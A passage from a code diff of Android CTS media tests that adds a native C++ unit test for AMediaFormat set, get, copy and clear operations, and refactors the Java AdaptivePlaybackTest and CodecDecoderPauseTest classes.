+    std::map<double, const char*> mDoubleKeyValuePairs;
+    std::map<size_t, const char*> mSizeKeyValuePairs;
+    std::map<const char*, const char*> mStringKeyValuePairs;
+    std::map<Rect*, const char*> mWindowKeyValuePairs;
+    std::map<Buffer*, const char*> mBufferKeyValuePairs;
+
+public:
+    NativeMediaFormatUnitTest();
+    ~NativeMediaFormatUnitTest();
+
+    bool validateFormatInt32(AMediaFormat* fmt, int offset = 0, bool isClear = false);
+    bool validateFormatInt64(AMediaFormat* fmt, int offset = 0, bool isClear = false);
+    bool validateFormatFloat(AMediaFormat* fmt, float offset = 0.0f, bool isClear = false);
+    bool validateFormatDouble(AMediaFormat* fmt, double offset = 0.0, bool isClear = false);
+    bool validateFormatSize(AMediaFormat* fmt, size_t offset = 0, bool isClear = false);
+    bool validateFormatString(AMediaFormat* fmt, int offset = 0, bool isClear = false);
+    bool validateFormatRect(AMediaFormat* fmt, int offset = 0, bool isClear = false);
+    bool validateFormatBuffer(AMediaFormat* fmt, int offset = 0, bool isClear = false);
+    bool validateFormat(AMediaFormat* fmt, int offset = 0, bool isClear = false);
+
+    void configureFormatInt32(AMediaFormat* fmt, int offset = 0);
+    void configureFormatInt64(AMediaFormat* fmt, int offset = 0);
+    void configureFormatFloat(AMediaFormat* fmt, float offset = 0.0f);
+    void configureFormatDouble(AMediaFormat* fmt, double offset = 0.0);
+    void configureFormatSize(AMediaFormat* fmt, size_t offset = 0);
+    void configureFormatString(AMediaFormat* fmt, int offset = 0);
+    void configureFormatRect(AMediaFormat* fmt, int offset = 0);
+    void configureFormatBuffer(AMediaFormat* fmt, int offset = 0);
+    void configureFormat(AMediaFormat* fmt, int offset = 0);
+};
+
+NativeMediaFormatUnitTest::NativeMediaFormatUnitTest() {
+    mInt32KeyValuePairs.insert({118, "elements in periodic table"});
+    mInt32KeyValuePairs.insert({5778, "surface temp. of sun in kelvin"});
+    mInt32KeyValuePairs.insert({8611, "k2 peak in mts"});
+    mInt32KeyValuePairs.insert({72, "heart rate in bpm"});
+    mInt64KeyValuePairs.insert({299792458L, "vel. of em wave in free space m/s"});
+    mInt64KeyValuePairs.insert({86400L, "number of seconds in a day"});
+    mInt64KeyValuePairs.insert({1520200000L, "distance of earth from the sun in km"});
+    mInt64KeyValuePairs.insert({39000000L, "forest area of the world km^2"});
+    mFloatKeyValuePairs.insert({22.0f / 7.0f, "pi"});
+    mFloatKeyValuePairs.insert({3.6f, "not great, not terrible"});
+    mFloatKeyValuePairs.insert({15.999f, "atomic weight of oxygen 8"});
+    mFloatKeyValuePairs.insert({2.7182f, "Euler's number"});
+    mDoubleKeyValuePairs.insert({44.0 / 7, "tau"});
+    mDoubleKeyValuePairs.insert({9.80665, "g on earth m/sec^2"});
+    mSizeKeyValuePairs.insert({sizeof(int64_t), "size of int64_t"});
+    mSizeKeyValuePairs.insert({sizeof(wchar_t), "size of wide char"});
+    mSizeKeyValuePairs.insert({sizeof(intptr_t), "size of pointer variable"});
+    mSizeKeyValuePairs.insert({sizeof *this, "size of class NativeMediaFormatUnitTest"});
+    mStringKeyValuePairs.insert(
+            {"Discovered radium and polonium, and made huge contribution to finding treatments "
+             "for cancer", "Marie Curie"});
+    mStringKeyValuePairs.insert({"Sun rises in the east has zero entropy", "Shannon"});
+    mWindowKeyValuePairs.insert({new Rect{12, 15, 12, 21}, "trapezoid"});
+    mWindowKeyValuePairs.insert({new Rect{12, 12, 12, 12}, "rhombus"});
+    mWindowKeyValuePairs.insert({new Rect{12, 15, 12, 15}, "rectangle"});
+    mWindowKeyValuePairs.insert({new Rect{12, 15, 18, 21}, "quadrilateral"});
+    mBufferKeyValuePairs.insert({new Buffer(), "empty buffer"});
+    size_t sz = strlen(story) + 1;
+    auto* quote = new Buffer{new char[sz], sz};
+    memcpy(quote->buffer, story, sz);
+    mBufferKeyValuePairs.insert({quote, "one line story"});
+    sz = strlen(dragon) + 1;
+    auto* chess = new Buffer(new char[sz], sz);
+    memcpy(chess->buffer, dragon, sz);
+    mBufferKeyValuePairs.insert({chess, "sicilian dragon"});
+}
+
+NativeMediaFormatUnitTest::~NativeMediaFormatUnitTest() {
+    for (auto it : mWindowKeyValuePairs) {
+        delete it.first;
+    }
+    for (auto it : mBufferKeyValuePairs) {
+        delete[] it.first->buffer;
+        delete it.first;
+    }
+}
+
+bool NativeMediaFormatUnitTest::validateFormatInt32(AMediaFormat* fmt, int offset, bool isClear) {
+    bool status = true;
+    int32_t val;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mInt32KeyValuePairs) {
+        bool result = AMediaFormat_getInt32(fmt, it.second, &val);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (val != it.first + offset) {
+                ALOGE("MediaFormat Value for Key %s is not %d but %d", it.second, it.first + offset,
+                      val);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first + offset).c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getInt32(fmt, "hello world", &val)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatInt64(AMediaFormat* fmt, int offset, bool isClear) {
+    bool status = true;
+    int64_t val;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mInt64KeyValuePairs) {
+        bool result = AMediaFormat_getInt64(fmt, it.second, &val);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (val != it.first + offset) {
+                ALOGE("MediaFormat Value for Key %s is not %" PRId64 "but %" PRId64, it.second,
+                      it.first + offset, val);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first + offset).c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getInt64(fmt, "hello world", &val)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatFloat(AMediaFormat* fmt, float offset, bool isClear) {
+    bool status = true;
+    float val;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mFloatKeyValuePairs) {
+        bool result = AMediaFormat_getFloat(fmt, it.second, &val);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (val != it.first + offset) {
+                ALOGE("MediaFormat Value for Key %s is not %f but %f", it.second, it.first + offset,
+                      val);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first + offset).c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getFloat(fmt, "hello world", &val)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatDouble(AMediaFormat* fmt, double offset,
+                                                     bool isClear) {
+    bool status = true;
+    double val;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mDoubleKeyValuePairs) {
+        bool result = AMediaFormat_getDouble(fmt, it.second, &val);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (val != it.first + offset) {
+                ALOGE("MediaFormat Value for Key %s is not %f but %f", it.second, it.first + offset,
+                      val);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first + offset).c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getDouble(fmt, "hello world", &val)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatSize(AMediaFormat* fmt, size_t offset, bool isClear) {
+    bool status = true;
+    size_t val;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mSizeKeyValuePairs) {
+        bool result = AMediaFormat_getSize(fmt, it.second, &val);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (val != it.first + offset) {
+                ALOGE("MediaFormat Value for Key %s is not %zu but %zu", it.second,
+                      it.first + offset, val);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first + offset).c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getSize(fmt, "hello world", &val)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatString(AMediaFormat* fmt, int offset, bool isClear) {
+    bool status = true;
+    const char* val;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mStringKeyValuePairs) {
+        bool result = AMediaFormat_getString(fmt, it.second, &val);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            std::string s = it.first + std::to_string(offset);
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (s != val) {
+                ALOGE("MediaFormat Value for Key %s is not %s but %s", it.second, s.c_str(), val);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, s.c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, s.c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getString(fmt, "hello world", &val)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatRect(AMediaFormat* fmt, int offset, bool isClear) {
+    bool status = true;
+    int left, top, right, bottom;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mWindowKeyValuePairs) {
+        bool result = AMediaFormat_getRect(fmt, it.second, &left, &top, &right, &bottom);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (left != it.first->left + offset || top != it.first->top + offset ||
+                       right != it.first->right + offset || bottom != it.first->bottom + offset) {
+                ALOGE("MediaFormat Value for Key %s is not (%d, %d, %d, %d)) but (%d, %d, %d, %d)",
+                      it.second, it.first->left, it.first->top, it.first->right, it.first->bottom,
+                      left, top, right, bottom);
+                status &= false;
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first->left + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first->left + offset).c_str());
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first->top + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first->top + offset).c_str());
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first->right + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first->right + offset).c_str());
+                status &= false;
+            }
+            if (strstr(toString, std::to_string(it.first->bottom + offset).c_str()) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString,
+                      std::to_string(it.first->bottom + offset).c_str());
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getRect(fmt, "hello world", &left, &top, &right, &bottom)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormatBuffer(AMediaFormat* fmt, int offset, bool isClear) {
+    bool status = true;
+    void* data;
+    size_t size;
+    const char* toString = AMediaFormat_toString(fmt);
+    for (auto it : mBufferKeyValuePairs) {
+        bool result = AMediaFormat_getBuffer(fmt, it.second, &data, &size);
+        if (isClear) {
+            if (result) {
+                ALOGE("MediaFormat is not expected to contain Key %s", it.second);
+                status &= false;
+            }
+        } else {
+            if (!result) {
+                ALOGE("MediaFormat doesn't contain key %s", it.second);
+                status &= false;
+            } else if (size != (offset == 0 ? it.first->size : it.first->size / 2)) {
+                ALOGE("MediaFormat Value for Key %s is not %zu but %zu", it.second,
+                      (offset == 0 ? it.first->size : it.first->size / 2), size);
+                status &= false;
+            } else {
+                if (it.first->buffer != nullptr &&
+                    memcmp(data, it.first->buffer + it.first->size - size, size) != 0) {
+                    ALOGE("MediaFormat Value for Key %s is not %s but %s {%zu}", it.second,
+                          it.first->buffer + it.first->size - size, (char*)data, size);
+                    status &= false;
+                }
+            }
+            if (strstr(toString, it.second) == nullptr) {
+                ALOGE("AMediaFormat_toString() of fmt %s doesn't contains %s", toString, it.second);
+                status &= false;
+            }
+        }
+    }
+    if (AMediaFormat_getBuffer(fmt, "hello world", &data, &size)) {
+        ALOGE("MediaFormat has value for key 'hello world' ");
+        status &= false;
+    }
+    return status;
+}
+
+bool NativeMediaFormatUnitTest::validateFormat(AMediaFormat* fmt, int offset, bool isClear) {
+    bool status = validateFormatInt32(fmt, offset, isClear);
+    status &= validateFormatInt64(fmt, offset, isClear);
+    status &= validateFormatFloat(fmt, offset, isClear);
+    status &= validateFormatDouble(fmt, offset, isClear);
+    status &= validateFormatSize(fmt, offset, isClear);
+    status &= validateFormatString(fmt, offset, isClear);
+    status &= validateFormatRect(fmt, offset, isClear);
+    status &= validateFormatBuffer(fmt, offset, isClear);
+    return status;
+}
+
+void NativeMediaFormatUnitTest::configureFormatInt32(AMediaFormat* fmt, int offset) {
+    for (auto it : mInt32KeyValuePairs) {
+        AMediaFormat_setInt32(fmt, it.second, it.first + offset);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatInt64(AMediaFormat* fmt, int offset) {
+    for (auto it : mInt64KeyValuePairs) {
+        AMediaFormat_setInt64(fmt, it.second, it.first + offset);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatFloat(AMediaFormat* fmt, float offset) {
+    for (auto it : mFloatKeyValuePairs) {
+        AMediaFormat_setFloat(fmt, it.second, it.first + offset);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatDouble(AMediaFormat* fmt, double offset) {
+    for (auto it : mDoubleKeyValuePairs) {
+        AMediaFormat_setDouble(fmt, it.second, it.first + offset);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatSize(AMediaFormat* fmt, size_t offset) {
+    for (auto it : mSizeKeyValuePairs) {
+        AMediaFormat_setSize(fmt, it.second, it.first + offset);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatString(AMediaFormat* fmt, int offset) {
+    for (auto it : mStringKeyValuePairs) {
+        std::string s1 = it.first + std::to_string(offset);
+        AMediaFormat_setString(fmt, it.second, s1.c_str());
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatRect(AMediaFormat* fmt, int offset) {
+    for (auto it : mWindowKeyValuePairs) {
+        AMediaFormat_setRect(fmt, it.second, it.first->left + offset, it.first->top + offset,
+                             it.first->right + offset, it.first->bottom + offset);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormatBuffer(AMediaFormat* fmt, int offset) {
+    for (auto it : mBufferKeyValuePairs) {
+        int sz = offset == 0 ? it.first->size : it.first->size / 2;
+        AMediaFormat_setBuffer(fmt, it.second, it.first->buffer + it.first->size - sz, sz);
+    }
+}
+
+void NativeMediaFormatUnitTest::configureFormat(AMediaFormat* fmt, int offset) {
+    configureFormatInt32(fmt, offset);
+    configureFormatInt64(fmt, offset);
+    configureFormatFloat(fmt, offset);
+    configureFormatDouble(fmt, offset);
+    configureFormatSize(fmt, offset);
+    configureFormatString(fmt, offset);
+    configureFormatRect(fmt, offset);
+    configureFormatBuffer(fmt, offset);
+}
+
+// 1. configure format with default values and validate the same
+// 2. copy configured format to an empty format and validate the copied format
+// 3. overwrite copied format with default + offset values and validate the updated format
+// 4. overwrite updated format with default values using AMediaFormat_copy API and validate the same
+// 5. clear mediaformat and validate if keys are not present
+static bool testMediaFormatAllNative() {
+    auto* nmf = new NativeMediaFormatUnitTest();
+    AMediaFormat* fmtOrig = AMediaFormat_new();
+    AMediaFormat* fmtDup = AMediaFormat_new();
+    const int offset = 123;
+
+    nmf->configureFormat(fmtOrig);
+    bool status = nmf->validateFormat(fmtOrig);
+
+    AMediaFormat_copy(fmtDup, fmtOrig);
+    status &= nmf->validateFormat(fmtDup);
+
+    nmf->configureFormat(fmtDup, offset);
+    status &= nmf->validateFormat(fmtDup, offset);
+
+    AMediaFormat_copy(fmtDup, fmtOrig);
+    status &= nmf->validateFormat(fmtDup);
+
+    AMediaFormat_clear(fmtDup);
+    status &= nmf->validateFormat(fmtDup, offset, true);
+
+    AMediaFormat_delete(fmtOrig);
+    AMediaFormat_delete(fmtDup);
+    delete nmf;
+
+    return status;
+}
+
+// 1. configure format with default values and validate the same
+// 2. copy configured format to an empty format and validate the copied format
+// 3. overwrite copied format with default + offset values and validate the updated format
+// 4. overwrite updated format with default values using AMediaFormat_copy API and validate the same
+#define testMediaFormatfuncNative(func)                            \
+    static bool testMediaFormat##func##Native() {                  \
+        auto* nmf = new NativeMediaFormatUnitTest();               \
+        AMediaFormat* fmtOrig = AMediaFormat_new();                \
+        AMediaFormat* fmtDup = AMediaFormat_new();                 \
+        const int offset = 12345;                                  \
+                                                                   \
+        nmf->configureFormat##func(fmtOrig);                       \
+        bool status = nmf->validateFormat##func(fmtOrig);          \
+                                                                   \
+        AMediaFormat_copy(fmtDup, fmtOrig);                        \
+        status &= nmf->validateFormat##func(fmtDup);               \
+                                                                   \
+        nmf->configureFormat##func(fmtDup, offset);                \
+        status &= nmf->validateFormat##func(fmtDup, offset);       \
+                                                                   \
+        AMediaFormat_copy(fmtDup, fmtOrig);                        \
+        status &= nmf->validateFormat##func(fmtDup);               \
+                                                                   \
+        AMediaFormat_clear(fmtDup);                                \
+        status &= nmf->validateFormat##func(fmtDup, offset, true); \
+        AMediaFormat_delete(fmtOrig);                              \
+        AMediaFormat_delete(fmtDup);                               \
+        delete nmf;                                                \
+        return status;                                             \
+    }
+
+testMediaFormatfuncNative(Int32)
+
+testMediaFormatfuncNative(Int64)
+
+testMediaFormatfuncNative(Float)
+
+testMediaFormatfuncNative(Double)
+
+testMediaFormatfuncNative(Size)
+
+testMediaFormatfuncNative(String)
+
+testMediaFormatfuncNative(Rect)
+
+testMediaFormatfuncNative(Buffer)
+
+#define nativeTestMediaFormatfunc(func)                                \
+    static jboolean nativeTestMediaFormat##func(JNIEnv*, jobject) {    \
+        return static_cast<jboolean>(testMediaFormat##func##Native()); \
+    }
+
+nativeTestMediaFormatfunc(Int32)
+
+nativeTestMediaFormatfunc(Int64)
+
+nativeTestMediaFormatfunc(Float)
+
+nativeTestMediaFormatfunc(Double)
+
+nativeTestMediaFormatfunc(Size)
+
+nativeTestMediaFormatfunc(String)
+
+nativeTestMediaFormatfunc(Rect)
+
+nativeTestMediaFormatfunc(Buffer)
+
+nativeTestMediaFormatfunc(All)
+
+int registerAndroidMediaV2CtsMediaFormatUnitTest(JNIEnv* env) {
+    const JNINativeMethod methodTable[] = {
+            {"nativeTestMediaFormatInt32", "()Z", (void*)nativeTestMediaFormatInt32},
+            {"nativeTestMediaFormatInt64", "()Z", (void*)nativeTestMediaFormatInt64},
+            {"nativeTestMediaFormatFloat", "()Z", (void*)nativeTestMediaFormatFloat},
+            {"nativeTestMediaFormatDouble", "()Z", (void*)nativeTestMediaFormatDouble},
+            {"nativeTestMediaFormatSize", "()Z", (void*)nativeTestMediaFormatSize},
+            {"nativeTestMediaFormatString", "()Z", (void*)nativeTestMediaFormatString},
+            {"nativeTestMediaFormatRect", "()Z", (void*)nativeTestMediaFormatRect},
+            {"nativeTestMediaFormatBuffer", "()Z", (void*)nativeTestMediaFormatBuffer},
+            {"nativeTestMediaFormatAll", "()Z", (void*)nativeTestMediaFormatAll},
+    };
+    jclass c = env->FindClass("android/mediav2/cts/MediaFormatUnitTest");
+    return env->RegisterNatives(c, methodTable, sizeof(methodTable) / sizeof(JNINativeMethod));
+}
+
+extern "C" JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
+    JNIEnv* env;
+    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) return JNI_ERR;
+    if (registerAndroidMediaV2CtsMediaFormatUnitTest(env) != JNI_OK) return JNI_ERR;
+    return JNI_VERSION_1_6;
+}
diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
index ae9054f..11657a7 100644
--- a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
+++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
@@ -21,10 +21,12 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
 import androidx.test.filters.LargeTest;
-import androidx.test.rule.ActivityTestRule;
 
+import org.junit.After;
 import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -38,32 +40,44 @@
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.fail;
+import static android.mediav2.cts.CodecTestBase.SupportClass.*;
 
 @RunWith(Parameterized.class)
 public class AdaptivePlaybackTest extends CodecDecoderTestBase {
     private final String[] mSrcFiles;
-    private final int mSupport;
+    private final SupportClass mSupportRequirements;
 
     private long mMaxPts = 0;
 
-    public AdaptivePlaybackTest(String decoder, String mime, String[] srcFiles, int support) {
+    public AdaptivePlaybackTest(String decoder, String mime, String[] srcFiles,
+            SupportClass supportRequirements) {
         super(decoder, mime, null);
         mSrcFiles = srcFiles;
-        mSupport = support;
+        mSupportRequirements = supportRequirements;
     }
 
     @Rule
-    public ActivityTestRule<CodecTestActivity> mActivityRule =
-            new ActivityTestRule<>(CodecTestActivity.class);
+    public ActivityScenarioRule<CodecTestActivity> mActivityRule =
+            new ActivityScenarioRule<>(CodecTestActivity.class);
+
+    @Before
+    public void setUp() throws IOException, InterruptedException {
+        mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
+        setUpSurface(mActivity);
+    }
+
+    @After
+    public void tearDown() {
+        tearDownSurface();
+    }
 
     @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = false;
         final boolean needVideo = true;
-        // mime, array list of test files we'll play, codec should support adaptive feature
-        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+        // mediaType, array list of test files, SupportClass
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>(Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{
                         "bbb_800x640_768kbps_30fps_avc_2b.mp4",
                         "bbb_800x640_768kbps_30fps_avc_nob.mp4",
@@ -110,7 +124,41 @@
                         "bbb_1280x720_1mbps_30fps_mpeg2_nob.mp4",
                         "bbb_640x360_512kbps_30fps_mpeg2_nob.mp4",
                         "bbb_640x360_512kbps_30fps_mpeg2_2b.mp4"}, CODEC_ALL},
-        });
+        }));
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            exhaustiveArgsList.addAll(Arrays.asList(new Object[][]{
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{
+                            "cosmat_800x640_24fps_crf22_avc_10bit_2b.mkv",
+                            "cosmat_800x640_24fps_crf22_avc_10bit_nob.mkv",
+                            "cosmat_1280x720_24fps_crf22_avc_10bit_2b.mkv",
+                            "cosmat_640x360_24fps_crf22_avc_10bit_nob.mkv",
+                            "cosmat_1280x720_24fps_crf22_avc_10bit_nob.mkv",
+                            "cosmat_640x360_24fps_crf22_avc_10bit_2b.mkv",
+                            "cosmat_1280x720_24fps_crf22_avc_10bit_nob.mkv",
+                            "cosmat_640x360_24fps_crf22_avc_10bit_nob.mkv",
+                            "cosmat_640x360_24fps_crf22_avc_10bit_2b.mkv"}, CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, new String[]{
+                            "cosmat_800x640_24fps_crf22_hevc_10bit_2b.mkv",
+                            "cosmat_800x640_24fps_crf22_hevc_10bit_nob.mkv",
+                            "cosmat_1280x720_24fps_crf22_hevc_10bit_2b.mkv",
+                            "cosmat_640x360_24fps_crf22_hevc_10bit_nob.mkv",
+                            "cosmat_1280x720_24fps_crf22_hevc_10bit_nob.mkv",
+                            "cosmat_640x360_24fps_crf22_hevc_10bit_2b.mkv",
+                            "cosmat_1280x720_24fps_crf22_hevc_10bit_nob.mkv",
+                            "cosmat_640x360_24fps_crf22_hevc_10bit_nob.mkv",
+                            "cosmat_640x360_24fps_crf22_hevc_10bit_2b.mkv"}, CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
+                            "cosmat_640x360_24fps_crf22_vp9_10bit.mkv",
+                            "cosmat_1280x720_24fps_crf22_vp9_10bit.mkv",
+                            "cosmat_800x640_24fps_crf22_vp9_10bit.mkv"}, CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, new String[]{
+                            "cosmat_640x360_24fps_512kbps_av1_10bit.mkv",
+                            "cosmat_1280x720_24fps_1200kbps_av1_10bit.mkv",
+                            "cosmat_800x640_24fps_768kbps_av1_10bit.mkv"}, CODEC_ALL},
+            }));
+        }
         return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
     }
 
@@ -177,21 +225,10 @@
             formats.add(setUpSource(file));
             mExtractor.release();
         }
-        if (!areFormatsSupported(mCodecName, mMime, formats)) {
-            if (mSupport == CODEC_ALL) {
-                fail("format(s) not supported by component: " + mCodecName + " for mime : " +
-                        mMime);
-            }
-            if (mSupport != CODEC_OPTIONAL && selectCodecs(mMime, formats,
-                    new String[]{MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback}, false)
-                    .isEmpty()) {
-                fail("format(s) not supported by any component for mime : " + mMime);
-            }
-            return;
-        }
+        checkFormatSupport(mCodecName, mMime, false, formats,
+                new String[]{MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback},
+                mSupportRequirements);
         formats.clear();
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
         int totalSize = 0;
         for (String srcFile : mSrcFiles) {
             File file = new File(mInpPrefix + srcFile);
@@ -211,7 +248,7 @@
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
             MediaFormat format = formats.get(0);
-            activity.setScreenParams(getWidth(format), getHeight(format), true);
+            mActivity.setScreenParams(getWidth(format), getHeight(format), true);
             mOutputBuff.reset();
             configureCodec(format, true, false, false);
             mCodec.start();
@@ -221,6 +258,5 @@
             mCodec.reset();
             mCodec.release();
         }
-        tearDownSurface();
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java
index 59b469d..4b187f2 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java
@@ -32,8 +32,8 @@
 import java.util.Collection;
 import java.util.List;
 
+import static android.mediav2.cts.CodecTestBase.SupportClass.*;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
 /**
  * The following test validates that the decode can be paused
@@ -43,11 +43,12 @@
     private static final String LOG_TAG = CodecDecoderPauseTest.class.getSimpleName();
     private final long PAUSE_TIME_MS = 10000;
